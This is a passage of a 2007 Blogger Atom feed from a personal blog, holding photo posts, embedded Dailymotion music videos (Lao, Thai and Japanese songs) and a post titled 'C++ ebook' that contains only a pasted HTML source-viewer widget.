href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7546359902039089763'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/07/blog-post.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBgRcDkFYI/AAAAAAAAAME/D07WIZ1VkPc/s72-c/DSC00388.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-3958947921245489511</id><published>2007-07-07T20:45:00.000-07:00</published><updated>2007-07-07T20:50:54.540-07:00</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_CBcs4tyLyx4/RpBevMDkFUI/AAAAAAAAALk/sljLAzYPWxk/s1600-h/DSC00348.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_CBcs4tyLyx4/RpBevMDkFUI/AAAAAAAAALk/sljLAzYPWxk/s400/DSC00348.JPG" alt="" id="BLOGGER_PHOTO_ID_5084668144084325698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBevcDkFVI/AAAAAAAAALs/TVkjSscpoj4/s1600-h/DSC00359.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBevcDkFVI/AAAAAAAAALs/TVkjSscpoj4/s400/DSC00359.JPG" alt="" id="BLOGGER_PHOTO_ID_5084668148379293010" border="0" /&gt;&lt;/a&gt;2007/07/07&lt;br /&gt;kawai camp&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBevcDkFWI/AAAAAAAAAL0/1GdNpFkfK1Y/s1600-h/DSC00357.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_CBcs4tyLyx4/RpBevcDkFWI/AAAAAAAAAL0/1GdNpFkfK1Y/s400/DSC00357.JPG" alt="" id="BLOGGER_PHOTO_ID_5084668148379293026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CBcs4tyLyx4/RpBevsDkFXI/AAAAAAAAAL8/6JLXp24U0RE/s1600-h/DSC00351.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_CBcs4tyLyx4/RpBevsDkFXI/AAAAAAAAAL8/6JLXp24U0RE/s400/DSC00351.JPG" alt="" id="BLOGGER_PHOTO_ID_5084668152674260338" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-3958947921245489511?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/3958947921245489511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=3958947921245489511&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3958947921245489511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/3958947921245489511'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/07/20070707-kawai-camp.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_CBcs4tyLyx4/RpBevMDkFUI/AAAAAAAAALk/sljLAzYPWxk/s72-c/DSC00348.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-573183799455684738</id><published>2007-04-22T03:49:00.000-07:00</published><updated>2007-04-22T03:52:04.175-07:00</updated><title type='text'></title><content type='html'>&lt;div&gt;&lt;object height="335" width="425"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/2Lfwi0eyksa0b6QkH"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;embed src="http://www.dailymotion.com/swf/2Lfwi0eyksa0b6QkH" type="application/x-shockwave-flash" allowfullscreen="true" height="335" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/xyylf_jmusic-tsuchiya-anna-inspi-nana"&gt;[J-music] Tsuchiya Anna inspi' NANA &lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/cedricgamer"&gt;cedricgamer&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;object height="335" width="425"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/6KOT1WRbtklmibskk"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;embed src="http://www.dailymotion.com/swf/6KOT1WRbtklmibskk" type="application/x-shockwave-flash" allowfullscreen="true" height="335" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x1miv8_nana-starring-mika-nakashima-hitoir"&gt;NANA starring MIKA NAKASHIMA - Hitoiro&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/Cersia"&gt;Cersia&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-573183799455684738?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/573183799455684738/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=573183799455684738&amp;isPopup=true' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/573183799455684738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/573183799455684738'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/04/j-music-tsuchiya-anna-inspi-nana.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-843181348699523425</id><published>2007-04-22T03:45:00.001-07:00</published><updated>2007-04-22T03:45:24.167-07:00</updated><title type='text'></title><content type='html'>&lt;div&gt;&lt;object width="425" height="364"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/6VOuiIwmFFgLKbSRM"&gt;&lt;/param&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/6VOuiIwmFFgLKbSRM" type="application/x-shockwave-flash" width="425" height="364" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x1opl2_anoulom-khoy-kor-lao"&gt;Anoulom / khoy kor Lao&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/SACKSITH"&gt;SACKSITH&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-843181348699523425?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/843181348699523425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=843181348699523425&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/843181348699523425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/843181348699523425'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/04/anoulom-khoy-kor-lao-uploaded-by.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-568489280123650495</id><published>2007-04-22T03:44:00.001-07:00</published><updated>2007-04-22T03:44:14.318-07:00</updated><title type='text'></title><content type='html'>&lt;div&gt;&lt;object width="425" height="364"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/2Bg528m7v63ppaZZp"&gt;&lt;/param&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/2Bg528m7v63ppaZZp" type="application/x-shockwave-flash" width="425" height="364" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x1k6tf_thai-song-skip-3"&gt;THAI SONG SKIP 3&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/travelman"&gt;travelman&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-568489280123650495?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/568489280123650495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=568489280123650495&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/568489280123650495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/568489280123650495'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/04/thai-song-skip-3-uploaded-by-travelman.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-8091672241426060325</id><published>2007-04-22T03:28:00.001-07:00</published><updated>2007-04-22T03:28:59.935-07:00</updated><title type='text'></title><content type='html'>&lt;div&gt;&lt;object width="425" height="306"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/1L6wWl3dsHc27brIl"&gt;&lt;/param&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/1L6wWl3dsHc27brIl" type="application/x-shockwave-flash" width="425" height="306" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x1mh1t_"&gt;???????&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/Baolao121"&gt;Baolao121&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-8091672241426060325?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/8091672241426060325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=8091672241426060325&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8091672241426060325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/8091672241426060325'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/04/uploaded-by-baolao121.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6537508515835506629</id><published>2007-04-22T03:27:00.001-07:00</published><updated>2007-04-22T03:27:36.519-07:00</updated><title type='text'></title><content type='html'>&lt;div&gt;&lt;object width="425" height="364"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/2isxrOwtmcy92cw4u"&gt;&lt;/param&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/2isxrOwtmcy92cw4u" type="application/x-shockwave-flash" width="425" height="364" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x1rxva_nou-meter-khon-sumkhan"&gt;Nou Meter / Khon SumKhan&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/SACKSITH"&gt;SACKSITH&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6537508515835506629?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6537508515835506629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6537508515835506629&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6537508515835506629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6537508515835506629'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/04/nou-meter-khon-sumkhan-uploaded-by.html' title=''/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-1541071662674551016</id><published>2007-03-28T00:20:00.000-07:00</published><updated>2008-03-18T02:17:43.535-07:00</updated><title type='text'>C++ ebook</title><content type='html'>&lt;!-- BEGIN Developer Shed™ Network's HTML Source Viewer --&gt;&lt;br /&gt;&lt;!-- Copyright 2001-2007 Developer Shed™, LLC All Rights Reserved --&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;  &lt;tr&gt;&lt;br /&gt;   &lt;td valign="top"&gt;&lt;br /&gt;      &lt;table border="0" width="300" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;          &lt;td width="16" height="16"&gt;&lt;img width="16" src="http://images.devshed.com/dm/tools/image_01.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td width="130" background="http://images.devshed.com/dm/tools/bckg06.gif" height="16"&gt;&lt;img width="130" src="http://images.devshed.com/dm/tools/spacer.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td width="118" background="http://images.devshed.com/dm/tools/bckg06.gif" height="16"&gt;&lt;img width="150" src="http://images.devshed.com/dm/tools/spacer.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td width="40" background="http://images.devshed.com/dm/tools/bckg06.gif"&gt;&lt;img width="40" src="http://images.devshed.com/dm/tools/spacer.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td width="18" height="16"&gt;&lt;img width="16" src="http://images.devshed.com/dm/tools/image_02.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;          &lt;td background="http://images.devshed.com/dm/tools/bckg07.gif" height="30"&gt; &lt;/td&gt;&lt;br /&gt;          &lt;td valign="top" width="*" colspan="2" class="toolbox" bgcolor="#CCCCCC"&gt;&lt;br /&gt;          &lt;b&gt;&lt;font size="+1"&gt;HTML Source Viewer Tool&lt;/font&gt;&lt;/b&gt; © &lt;a href="http://tools.devshed.com"&gt;Dev Mechanic™&lt;/a&gt;&lt;br /&gt;          &lt;font face="Courier New, Courier, mono" size="2"&gt;&lt;br /&gt;       &lt;form action="http://tools.devshed.com/" name="form" method="GET"&gt;&lt;input value="1" name="go" type="hidden"/&gt;&lt;input tabindex="1" value="com_mechtools" name="option" type="hidden"/&gt;&lt;input tabindex="2" value="4" name="tool" type="hidden"/&gt;&lt;p&gt;&lt;b&gt;URL&lt;/b&gt;&lt;br/&gt;Valid URL to check&lt;br/&gt;&lt;input tabindex="3" value="" name="url" size="32" type="text"/&gt;&lt;p&gt;&lt;b&gt;Enter Captcha To Continue&lt;/b&gt;&lt;br/&gt;To prevent spamming, please enter in the numbers and letters in the box below&lt;br/&gt;&lt;input tabindex="4" value="" name="imageverify" size="32" type="text"/&gt;&lt;input tabindex="5" value="624445734a6c413d" name="timehsh" type="hidden"/&gt;&lt;p&gt;&lt;img border="1" src="http://tools.devshed.com/includes/showcaptcha.php?bd=624445734a6c413d"/&gt;&lt;p&gt;&lt;input id="toolsubmit" tabindex="6" value="Get Source" name="toolsubmit" type="submit"/&gt;&lt;p&gt;&lt;a href="http://www.developershed.com/esupport/" rel="nofollow"&gt;&lt;font color="#0000FF"&gt;&lt;b&gt;Report Problem with Tool.&lt;/b&gt;&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/form&gt;&lt;br /&gt;          &lt;/font&gt;&lt;br /&gt;          &lt;/td&gt;&lt;br /&gt;          &lt;td valign="top" width="40" bgcolor="#CCCCCC"&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td width="18" background="http://images.devshed.com/dm/tools/bckg03.gif"&gt; &lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;          &lt;td width="16"&gt;&lt;img width="16" src="http://images.devshed.com/dm/tools/image_03.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td colspan="3" width="*" background="http://images.devshed.com/dm/tools/bckg04.gif" height="16"&gt;&lt;img width="16" src="http://images.devshed.com/dm/tools/spacer.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;          &lt;td width="18"&gt;&lt;img width="16" src="http://images.devshed.com/dm/tools/image_04.gif" height="16"/&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;      &lt;/table&gt;&lt;br /&gt;    &lt;/td&gt;&lt;br /&gt;  &lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;!-- END Developer Shed™ Network's HTML Source Viewer --&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-1541071662674551016?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/1541071662674551016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=1541071662674551016&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1541071662674551016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1541071662674551016'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2007/03/c-ebook.html' title='C++ ebook'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
